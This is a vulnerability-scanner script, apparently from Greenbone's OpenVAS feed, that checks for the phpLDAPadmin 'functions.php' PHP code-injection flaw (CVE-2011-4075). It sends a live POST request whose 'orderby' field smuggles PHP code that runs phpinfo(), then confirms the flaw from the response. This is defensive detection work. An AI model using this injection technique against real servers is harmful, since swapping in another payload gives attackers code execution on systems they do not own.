phpLDAPadmin 'functions.php' Remote PHP Code Injection Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103314");
  script_version("2023-07-28T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-10-25 16:57:43 +0200 (Tue, 25 Oct 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2011-4075");
  script_name("phpLDAPadmin 'functions.php' Remote PHP Code Injection Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("phpldapadmin_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("phpldapadmin/installed");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50331");

  script_tag(name:"summary", value:"phpLDAPadmin is prone to a remote PHP code-injection vulnerability.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to inject and execute arbitrary PHP
  code in the context of the affected application. This may facilitate a compromise of the application and
  the underlying system. Other attacks are also possible.");

  script_tag(name:"affected", value:"phpLDAPadmin versions 1.2.0 through 1.2.1.1 are vulnerable.");

  script_tag(name:"solution", value:"Updates are available.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

CPE = "cpe:/a:phpldapadmin_project:phpldapadmin";

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = string(dir, "/index.php");
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buf)
  exit(0);

session_id = eregmatch(pattern:"Set-Cookie: ([^;]*);",string:buf);
if(isnull(session_id[1]))
  exit(0);

sess = session_id[1];

host = http_host_name(port:port);
payload = "cmd=query_engine&query=none&search=1&orderby=foo));}}phpinfo();die;/*";

req = string("POST ", dir , "/cmd.php HTTP/1.1\r\n",
             "Host: ", host,"\r\n",
             "Cookie: ", sess, "\r\n",
             "Content-Length: ", strlen(payload),"\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Connection: close\r\n",
             "\r\n",
             payload);
res = http_send_recv(port:port, data:req);

if("<title>phpinfo()" >< res) {
  security_message(port:port);
  exit(0);
}

exit(99);